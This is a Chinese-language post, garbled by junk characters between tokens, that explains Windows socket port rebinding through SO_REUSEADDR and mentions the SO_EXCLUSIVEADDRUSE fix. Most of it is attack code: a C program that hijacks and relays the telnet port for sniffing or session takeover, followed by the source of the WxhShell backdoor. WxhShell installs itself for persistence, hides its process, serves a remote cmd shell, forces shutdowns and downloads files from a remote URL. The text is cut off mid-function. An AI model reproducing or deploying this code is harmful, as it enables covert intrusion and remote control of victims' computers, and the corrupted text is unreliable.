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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: sQw-#f7t s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); RA}PM?D/ ~n?U{
RmH saddr.sin_family = AF_INET; 5:wf"3%% 5VfP@{ saddr.sin_addr.s_addr = htonl(INADDR_ANY); :([,vO: qyto`n7 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %?seX+ne r\zK>GVm_ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 P+xZaf
H &
CgLF] 这意味着什么?意味着可以进行如下的攻击: /e}k7U,^
2B#WWb 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 w}iflAnjq !?96P|G 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) UOyP6ej U4gZW]F 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `#hy'S:e
p\ASf 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 -Ac^#/[0 U
w)1yzX 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^VQiq7 xm *T3"U|0_ y 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {221@ zcCq ^,3 >}PU 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f'
eKX7R Oe?nX> #include K vgZx(. #include Aq-v3$XL #include DE[y&]/C{ #include ~vgW:]i DWORD WINAPI ClientThread(LPVOID lpParam); *UTk. :G5 int main() xg8<b
{ Z7 @#0;g{ WORD wVersionRequested; {VFpfo DWORD ret; tU(6%zvR WSADATA wsaData; "H({kmR BOOL val; uo0(W3Q * SOCKADDR_IN saddr; r=vE0;7 SOCKADDR_IN scaddr; 2b<0g@~X int err; z}5XLa^ SOCKET s; \%K6T)9 SOCKET sc; !vU[V,~
int caddsize; =LC5o2bLy HANDLE mt; = #`FXO1C DWORD tid; :c\NBKHv* wVersionRequested = MAKEWORD( 2, 2 ); $]_=B Jyu err = WSAStartup( wVersionRequested, &wsaData );
@`T6\ 1 if ( err != 0 ) { GxBj N7" printf("error!WSAStartup failed!\n"); ji1A>jepF return -1; 7M4iBk4I } U|>Js!$ saddr.sin_family = AF_INET; a P`;Nr= !U91 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3cnsJV] Y{jhT^tKK saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N.fIg saddr.sin_port = htons(23); @8 pRIS"V if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N7NK1<vw2 {
zd}"8 printf("error!socket failed!\n"); /<n_X:[) return -1; Fax73vl|^a } u`ZnxD> val = TRUE; ;gF"o5/Q //SO_REUSEADDR选项就是可以实现端口重绑定的 ?HW*qD#k if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @+xQj.jNC { GK)hK-
printf("error!setsockopt failed!\n"); *2 [r?! return -1; 2Bx\nLf/
K } Q<M>+U;t //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; u}pLO9V"` //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4|~o<t8 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (|WqOwmoUt J[^-k!9M if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) vnKUD| { J^u{7K, ret=GetLastError(); H.YntFtD' printf("error!bind failed!\n"); #e=[W)) return -1; J~~WV<6 } #jnb6v=5v listen(s,2); cc@y while(1) TG!sck4/-Q { LEY$St caddsize = sizeof(scaddr); |'Jz(dv[ //接受连接请求 4kIy4x'* sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
OH&&d=~ if(sc!=INVALID_SOCKET) oR5 'g7? { FN G] mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); um[.r,++ if(mt==NULL) 0Rj_l:d= { d!>PqPo printf("Thread Creat Failed!\n"); lLnD%*03 break; i`X/d= } tFG&~tNc } 5Ba eHzI CloseHandle(mt); aC;OFINK } y3d`$'7H> closesocket(s); t1D6#JP(a WSACleanup(); @xmL?wz return 0; 7%C6gU!r } BYRf MtT@+ DWORD WINAPI ClientThread(LPVOID lpParam) SI-s:%O { M-eX>}CDm SOCKET ss = (SOCKET)lpParam; ?xIwQd0 SOCKET sc; `Os@/S unsigned char buf[4096]; ) !3sB{H SOCKADDR_IN saddr; V4_ZBeWA long num; E-CZk_K9 DWORD val; <"6}C)G DWORD ret; caS5>wk`R //如果是隐藏端口应用的话,可以在此处加一些判断 oPl^tzO //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 U4Il1|
M& saddr.sin_family = AF_INET; 8^kw saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dtJ?J<m} saddr.sin_port = htons(23); {"-uaH>, if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3b~k)t4R { J#MUtpPdQ printf("error!socket failed!\n"); l7\Bq+Q return -1; H|5\c= } Gq?JMq# val = 100; H}`}qu #~V if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jruwdm^ { ZPRkk?M}. ret = GetLastError(); FK<1SOE return -1; r"c<15g2' } ht)J#Di if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [8[g_ { n{aD4& ret = GetLastError(); xzh`q return -1; X$)<>e]!> } bDK72cQ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2{(_{9<>z { :hC+r=!I printf("error!socket connect failed!\n"); s>ilxLSX] closesocket(sc); n2cb,b/7 closesocket(ss); '_>8_ return -1; ^i:%0"[*^i } qi!+Ceo} while(1) 5NHNnDhuL { G?*)0`~W //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 lG6P+ Z/nf //如果是嗅探内容的话,可以再此处进行内容分析和记录 <<4U: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8(]*J8/wt num = recv(ss,buf,4096,0); E0G"B'x if(num>0) _e:c
22T' send(sc,buf,num,0); gA D, else if(num==0) &]tZ6 break; opc`n}Fc num = recv(sc,buf,4096,0); ?cF`T/z]" if(num>0) g[4pG`z send(ss,buf,num,0); _c,c; else if(num==0) ^zn&"@ break; +8h!@ } XcLjUz ? closesocket(ss); q8#zv_>K closesocket(sc); Qq+$ea?> return 0 ; x}B3h9] } OO#_0qK y\k#83aU| opqY@>Vh& ========================================================== ~Z-o2+xA "n'kv!?\ 下边附上一个代码,,WXhSHELL )B)ecJJ_ X;'H@GU0 ========================================================== db#svj* x4v@o?zW #include "stdafx.h" 9X/]O<i,Es Kjzo>fIC{ #include <stdio.h> PUcxlD/a} #include <string.h> "RcNy~ #include <windows.h> i24t$7q #include <winsock2.h> O3 NI #include <winsvc.h> maTQ0GX #include <urlmon.h> 4 ))Z Bq? ;S0Kf{DN2 #pragma comment (lib, "Ws2_32.lib") JCFiKt9n #pragma comment (lib, "urlmon.lib") Dk%+|c }l"pxp1K #define MAX_USER 100 // 最大客户端连接数 Ui|z#{8& #define BUF_SOCK 200 // sock buffer }ff+RGxLIG #define KEY_BUFF 255 // 输入 buffer A1g.ww: Nk2n&(~$ #define REBOOT 0 // 重启 Cg_9V4h.C #define SHUTDOWN 1 // 关机 4]G J+a FJQ=611@ #define DEF_PORT 5000 // 监听端口 !:baG]Y *{DpNV8" #define REG_LEN 16 // 注册表键长度 duQ,6 #define SVC_LEN 80 // NT服务名长度 TAB'oLNp sD#*W< // 从dll定义API m)Ta5w^ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ghU~H4[x D typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y7^E`LKK typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {f"oqry_g typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~)CGwST[ Z2a~1BL // wxhshell配置信息 7w\L<vFm struct WSCFG { };Pdn7;1G: int ws_port; // 监听端口 g~p43sVV char ws_passstr[REG_LEN]; // 口令 BD,J4xH; int ws_autoins; // 安装标记, 1=yes 0=no g>E.Snj} char ws_regname[REG_LEN]; // 注册表键名 tJ$gH; char ws_svcname[REG_LEN]; // 服务名 2Y>#FEW/ char ws_svcdisp[SVC_LEN]; // 服务显示名 4ibOVBG:*, char ws_svcdesc[SVC_LEN]; // 服务描述信息 +N}yqgE char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;"B@QPX int ws_downexe; // 下载执行标记, 1=yes 0=no []:&WA9N char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" (h"-#q8$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LIE5of d0V*[{ }; 7y4jk \&/V p` // default Wxhshell configuration
X6<Ds'I struct WSCFG wscfg={DEF_PORT, l#IN)">1 "xuhuanlingzhe",
Zz?)k])F 1,
SwE bVwB "Wxhshell", [[#zB-| "Wxhshell", r17"i.n "WxhShell Service", gz#2} "Wrsky Windows CmdShell Service",
XFSHl[uS1 "Please Input Your Password: ", S-5O$EnD 1, (T!#7 " http://www.wrsky.com/wxhshell.exe", nT
:n>ja "Wxhshell.exe" W#&BU-|2 }; &yRR!1n)H ?U+nR/H:6 // 消息定义模块 Fe1XczB char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !?)aZ |r char *msg_ws_prompt="\n\r? for help\n\r#>"; I;Pd}A_}=_ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; qh|fq
b char *msg_ws_ext="\n\rExit."; 6t=)1T char *msg_ws_end="\n\rQuit."; .WLwAL char *msg_ws_boot="\n\rReboot..."; RiG]-K: char *msg_ws_poff="\n\rShutdown..."; #+&"m7
s char *msg_ws_down="\n\rSave to "; tH=jaFJ <!=:{&d% char *msg_ws_err="\n\rErr!"; GC`/\~TM char *msg_ws_ok="\n\rOK!"; v,|jmv+: & LhQr-g char ExeFile[MAX_PATH]; %mAwK<MY` int nUser = 0; bgeJVI HANDLE handles[MAX_USER]; O{x-9p int OsIsNt; j1HeX ~p?D[]h SERVICE_STATUS serviceStatus; 3 S .2 SERVICE_STATUS_HANDLE hServiceStatusHandle; L 8J] X7 ;#L]7ZY9:- // 函数声明 .Zc:$"gDu int Install(void); D@ %!|: int Uninstall(void); 5(thDZ ! int DownloadFile(char *sURL, SOCKET wsh); QtA@p int Boot(int flag); tIk$4)ZAl void HideProc(void); JFdMYb int GetOsVer(void); 'w0?- int Wxhshell(SOCKET wsl); ASB3|uy _ void TalkWithClient(void *cs); eus@;l* int CmdShell(SOCKET sock); K5 EJ#1ov int StartFromService(void); z+KZ6h int StartWxhshell(LPSTR lpCmdLine); G<P/COI#M5 [0D.+("EW VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q'9; VOID WINAPI NTServiceHandler( DWORD fdwControl ); [e>2HIS, Ap~6Vu // 数据结构和表定义 9*P-k.Bl SERVICE_TABLE_ENTRY DispatchTable[] = %%9T-+T { p7W9?b9 {wscfg.ws_svcname, NTServiceMain}, GX'S4B {NULL, NULL} M?5v oV* }; ymn@1BA8J f\FqZ?w // 自我安装 0v#p4@Z int Install(void) /IlO { _FU}IfG>t char svExeFile[MAX_PATH]; mA#;6?6 HKEY key; MP_/eC ; strcpy(svExeFile,ExeFile); XZ2 ji_D CDY3+! // 如果是win9x系统,修改注册表设为自启动 "pO**z$Z if(!OsIsNt) { cT@H49#uB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K#Xl)h}y7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O;$}j:;KF RegCloseKey(key); p0D@O_
:5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8@ S@^C*F RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,Iru_=Wk~ RegCloseKey(key); ~Rx`:kQ return 0; "EVf1iQ } '!`| H 3 } 9rIv-&7'm } ixL[(*V else { /i
kkJ8xyO // 如果是NT以上系统,安装为系统服务 PzT@q\O SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); --k!KrL if (schSCManager!=0) MwX8F YF
D { 1+[,eq SC_HANDLE schService = CreateService `QZKW ( Tkn8Wj schSCManager, .$1S-+(kV wscfg.ws_svcname, 9I}Uh#]k< wscfg.ws_svcdisp, Rp!"c SERVICE_ALL_ACCESS, l
GJ N;G7 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h7 mk< SERVICE_AUTO_START, 'J)9# SERVICE_ERROR_NORMAL, ,4k3C#!.i svExeFile, @vL0gzE?nB NULL, y4VO\N!
NULL, VtMnLFMw NULL, $
nMx#~>a NULL, r?|(t? NULL g-H,*^g+ ); QVah4wFL*. if (schService!=0) b~{nS,_Rn { :UX8^+bfZ CloseServiceHandle(schService); -c{ Y+M` CloseServiceHandle(schSCManager); '$VP\Gj. strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M,cz7, strcat(svExeFile,wscfg.ws_svcname); IR?nH`V if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >QPCYo<E RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]bbP_n8 RegCloseKey(key); w4R~0jXy return 0; ti 3S'K0t } ,Xg^rV~] } <tm= CloseServiceHandle(schSCManager); DHbS=Iih } n<F3&2w } ItVVI"- E>:#{% return 1; 'e6J&X } =BbXSwv'( 8Pva ]Q // 自我卸载 O]?\<&y int Uninstall(void) 5k?xBk=< { 8Q0/kG HKEY key; +: Nz_l +U>Y.YP if(!OsIsNt) { 9{rE7OX*A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F6\4[B RegDeleteValue(key,wscfg.ws_regname); ZXf&pqmG RegCloseKey(key); fF2]7: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mRt/d RegDeleteValue(key,wscfg.ws_regname); ` +)Bl%* RegCloseKey(key); jk Aru_C return 0; 06`caG|]-M } r9<#R=r)}J } !|
q19$ } ~Q]/=HK else { mE'HRv q"WfKz!U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D( y
c if (schSCManager!=0) #TV #* { o=PW)37> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q'Uv5p"X if (schService!=0) 7UqDPEXU]` { 4QYStDFe if(DeleteService(schService)!=0) { =L;g:hc< CloseServiceHandle(schService); ys:F CloseServiceHandle(schSCManager); e`+ej-o, return 0; gc
b8eB, } }*!_M3O CloseServiceHandle(schService); n?S)H= } R*lq.7
CloseServiceHandle(schSCManager); KM[&WT } a/rQ@ c> } DcC|oU[ ]ki) (Bb return 1; <e wcWr } xa967Ki9" gt=@v()) // 从指定url下载文件 P,7R/-u 5D int DownloadFile(char *sURL, SOCKET wsh) jF(R;?, { zQ+
%^DT1 HRESULT hr; p _2Y c]8 char seps[]= "/"; 6KE64: \; char *token; 7f*b5$+r char *file; |o^mg9 char myURL[MAX_PATH]; j'Gezx^.<e char myFILE[MAX_PATH]; &g=6K&a$a {$7vd strcpy(myURL,sURL); .x}xa token=strtok(myURL,seps); 1suP7o A; while(token!=NULL) Mp^G7JY, { kX*.BZI}C file=token; !<F5W<V token=strtok(NULL,seps); .3>q3sS } e:.D^GFi
WopA7J, GetCurrentDirectory(MAX_PATH,myFILE); Q91mCP~$ strcat(myFILE, "\\"); IU"n`HS strcat(myFILE, file); f1B t6|W% send(wsh,myFILE,strlen(myFILE),0); dIA1\;@ send(wsh,"...",3,0); [(vV45(E hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IK8"3+( if(hr==S_OK) YpG6p0
nd return 0; 67||wh.BU else :3b\ pEO9\ return 1; ]w]:9w YllW2g: } !G<gp4Js+N @lqI,Ce5 // 系统电源模块 #UvWS int Boot(int flag) cKIA.c}N { n:}'f-
:T HANDLE hToken; er@.<Dc TOKEN_PRIVILEGES tkp; c'Q.2^w^ hn$jI5*` if(OsIsNt) { II\}84U2
. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?9T,sX: LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R[#B|$ tkp.PrivilegeCount = 1; R$"> tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n8q%>.i7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z5*O\kJv if(flag==REBOOT) { [L
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Smd83W& return 0; R0nUS<b0 } ,0?3k else { qg*xdefQ% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q.V+s return 0; l\u5RMS(' } 3'7X[{uBr } n0uL^{B else { VT;cz6"6b4 if(flag==REBOOT) { _z#S8Y if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mhNgXp)_56 return 0; y#nyH0U } }To-c' else { 7!e kINQ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /g!X[rn7Q return 0; D6'-c# } o KY0e&5 } 8vj]S5 aOEW$% return 1; l 1BAW$ } qIO)<5\[%d ;F/s!bupCM // win9x进程隐藏模块 xoQqku"vn void HideProc(void) iH-(_$f; { BbgKaC q I=k`VI d: HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |jKFk.M if ( hKernel != NULL ) 2p*L~! iM { B^j(Fq pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WmblY2 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?~; q r FreeLibrary(hKernel); LOk J } yq` ,) O5JG!bGE_F return; q=k[]vD } :eSwXDy& KPa@~rU // 获取操作系统版本 Xs)?PE[ int GetOsVer(void) )!sjXiC!h { ?!bA#aSbl5 OSVERSIONINFO winfo; wNl "y winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8]J lYe GetVersionEx(&winfo); "g1Fg.o if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @nM+*0
$d return 1; >NA{* *$0 else Gx(%AB~9$ return 0; ahw0}S } ?'OL2~ ro^T L // 客户端句柄模块 a*o k*r int Wxhshell(SOCKET wsl) 3e|,Z'4}4 {
zzX9Q: SOCKET wsh; {<2q struct sockaddr_in client; l,
-q:8 DWORD myID; w)}@svv" V&d?4i4/Q while(nUser<MAX_USER) -M-y*P) { f/i[?
gw int nSize=sizeof(client); \>e>J\t: wsh=accept(wsl,(struct sockaddr *)&client,&nSize); deutY.7g if(wsh==INVALID_SOCKET) return 1; n:JG+1I i]0$7s9! handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LhKUZX,P8 if(handles[nUser]==0) D!bi>]Yd closesocket(wsh); <-!'V,c else )umW-A nUser++; h6e,w$IL }
:a M@"#F WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nY?X@avo> V`LW~P;
return 0; m8&XW2S } AKAxfnaR Jv D`RUh // 关闭 socket Cx8
H void CloseIt(SOCKET wsh) .Mzrj{^Y { `u7twW*U2 closesocket(wsh); Ap`D{u/ nUser--; ~h444Hp= ExitThread(0); \3cg\Q+~ } OLDEB.@ =5M
'+> // 客户端请求句柄 1i$OcN?x% void TalkWithClient(void *cs) TK#-;p_ { T!Uf
PfEI jHc/ EZB SOCKET wsh=(SOCKET)cs; oX[I4i%G char pwd[SVC_LEN]; (9!kKMQW' char cmd[KEY_BUFF]; 15!b]': char chr[1]; 3$kElq[ int i,j; A
Zv| |8p "C9.pdP\8 while (nUser < MAX_USER) { "'6R|<u=: 2$oGy if(wscfg.ws_passstr) { CIf""gL9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]w9syz8X //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s_`y"'^ //ZeroMemory(pwd,KEY_BUFF); KnYHjJa i=0; z';h5GNd>z while(i<SVC_LEN) { $dHD w7_2JS // 设置超时 )"y]_} fd_set FdRead; A;Uw
b struct timeval TimeOut; Py#iC#g~ FD_ZERO(&FdRead); IV$2`)[A&X FD_SET(wsh,&FdRead); axd9b, TimeOut.tv_sec=8; CV6W)B%Se TimeOut.tv_usec=0; >Y&o2zJy int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Re'Ek if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '>|5 ZQrgYeQl" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O}"fhMk pwd =chr[0]; s B!2't if(chr[0]==0xd || chr[0]==0xa) { ?[
vC?P
pwd=0; w3peG^4D_ break; 2N_9S?a3sK } ^ px)W,O i++; n 0ls a@l } r#K" d F84?Mi{r2 // 如果是非法用户,关闭 socket 2v\-xg%1 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !<MW*7P= } }@wXm IctLhYZ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]lzOz<0q send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dv+:d 4|" `z3"zso while(1) { z50f$!? *g/@-6 ZeroMemory(cmd,KEY_BUFF); 2E}^'o =;HmU.Uek% // 自动支持客户端 telnet标准 +v'n[xa1v j=0; 78<QNlKn while(j<KEY_BUFF) { &0S/]E`_M if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -qRO}EF cmd[j]=chr[0]; ;:pd/\< if(chr[0]==0xa || chr[0]==0xd) { ;= {Z Bx cmd[j]=0; EAjo>GLI break; BXo9s~5Q } q9"~sCH j++; Fgg4QF } _d/ZaCx'i ,@*`2I>` // 下载文件 WP0{% if(strstr(cmd,"http://")) { H[8P]"*z*i send(wsh,msg_ws_down,strlen(msg_ws_down),0); o M#S.f? if(DownloadFile(cmd,wsh)) ^7~w yAr send(wsh,msg_ws_err,strlen(msg_ws_err),0); .:#6dG\0z else YJ^TO\4WM send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @Ao E> } jj 9eFB else { "t"&6\ >zAI#N4 switch(cmd[0]) { H@WQO]PA QabYkL5@ // 帮助 abM4G case '?': { Y_<(~eN` send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )z?Kq0 break; T3
k#6N. } ^@..\X9 // 安装 +bK.{1 case 'i': { lb('=]3
}H if(Install()) #`H^8/!e send(wsh,msg_ws_err,strlen(msg_ws_err),0); wh;E\^',n else in6iJ*E@' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L)ry!BuHI break; #FV(a ~ } o<-+y\J8K // 卸载 D`^9
u
K case 'r': { ?V&[U if(Uninstall()) d\ Z#XzI8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~X
-.@k' else v+Q#O[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (_lc< Bj break; 'u2Qq"d+ } Sm%MoFf // 显示 wxhshell 所在路径 2tqO%8`_ case 'p': { 4x:Odt5 char svExeFile[MAX_PATH]; =`]yq;(C7j strcpy(svExeFile,"\n\r"); cAc i2e strcat(svExeFile,ExeFile); ~L'}!'
&. send(wsh,svExeFile,strlen(svExeFile),0); v+*l|!v break; }`9}Q
O } r8~U@$BBK // 重启 qlg~W/ case 'b': { {9Op{bZ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :I }_ if(Boot(REBOOT)) f6P5J|' send(wsh,msg_ws_err,strlen(msg_ws_err),0); g3%t+>$* else { ^MWfFpJV!] closesocket(wsh); }f6x> ExitThread(0); 1v&!`^G99j } ? I}T[j break; z
{J1pH_X } a;Y9wn // 关机 $*H>n!& case 'd': { LHWh-h(s send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A4?_0:< if(Boot(SHUTDOWN)) &~Q ?k send(wsh,msg_ws_err,strlen(msg_ws_err),0); JPk3T.qp else { C6eo n4Ut closesocket(wsh); y*6r&989 ExitThread(0); "t"=9:_t } L$x/T3@ break; `#X{. } ";e0-t6: // 获取shell pDlh^?cux case 's': { V@K}'f~ CmdShell(wsh); vwzTrWA= closesocket(wsh); um&e.V)N ExitThread(0); B%9[ break; :OBggb#?! } $hO8
S = // 退出 +Z[%+x92 case 'x': { 0p$?-81BJ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^dYLB.'= CloseIt(wsh); <S0!$.Kg*< break; TR@$$RrU } "O|fX\}5 // 离开 $(}kau case 'q': { Y^S0K'N send(wsh,msg_ws_end,strlen(msg_ws_end),0); W.n@ closesocket(wsh); cuquA ~ WSACleanup(); a(8]y.`Tv exit(1); G$4lH>A& break; 'eqvK|Uj: } jt2m-*aP } mcDW&jwQ } :"O=/p+*Us #D+Fq^="P // 提示信息 6M$.gX
G. if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qq]UEI `Go } '7'cKp } OG 5n9sx rf1nC$Sop return; !,\9,lc } QbqLj>-AJ :N)7SYQT // shell模块句柄 INzQ0z-z int CmdShell(SOCKET sock) !1"~tA!+p= { `U`Z9q5- STARTUPINFO si;
~5}b$qL#` ZeroMemory(&si,sizeof(si)); =4 JVUu~Z si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +Mm0bqNN si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4b3p,$BWS PROCESS_INFORMATION ProcessInfo; <k^9l6@ char cmdline[]="cmd"; WM=kr$/3 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >o>'@)I?e6 return 0; o
ohf)) } B{1+0k 6x/ X8zu // 自身启动模式 6nGDoW# int StartFromService(void) rzaEVXbz1 { web&M!- typedef struct 'A8T.BU { ocgbBE DWORD ExitStatus; 3+ i(fg_ DWORD PebBaseAddress; nNilTJ
DWORD AffinityMask; *bRH,u DWORD BasePriority; o~>p=5t ULONG UniqueProcessId; 8@+YcN;-> ULONG InheritedFromUniqueProcessId; "?qu(}| } PROCESS_BASIC_INFORMATION; 5-mJj&0:! 'T|.<u@~ PROCNTQSIP NtQueryInformationProcess; XcfTE
m l]v
*h0! static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Rb#Z\e}e- static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]r"{G*1Q
9 RXx
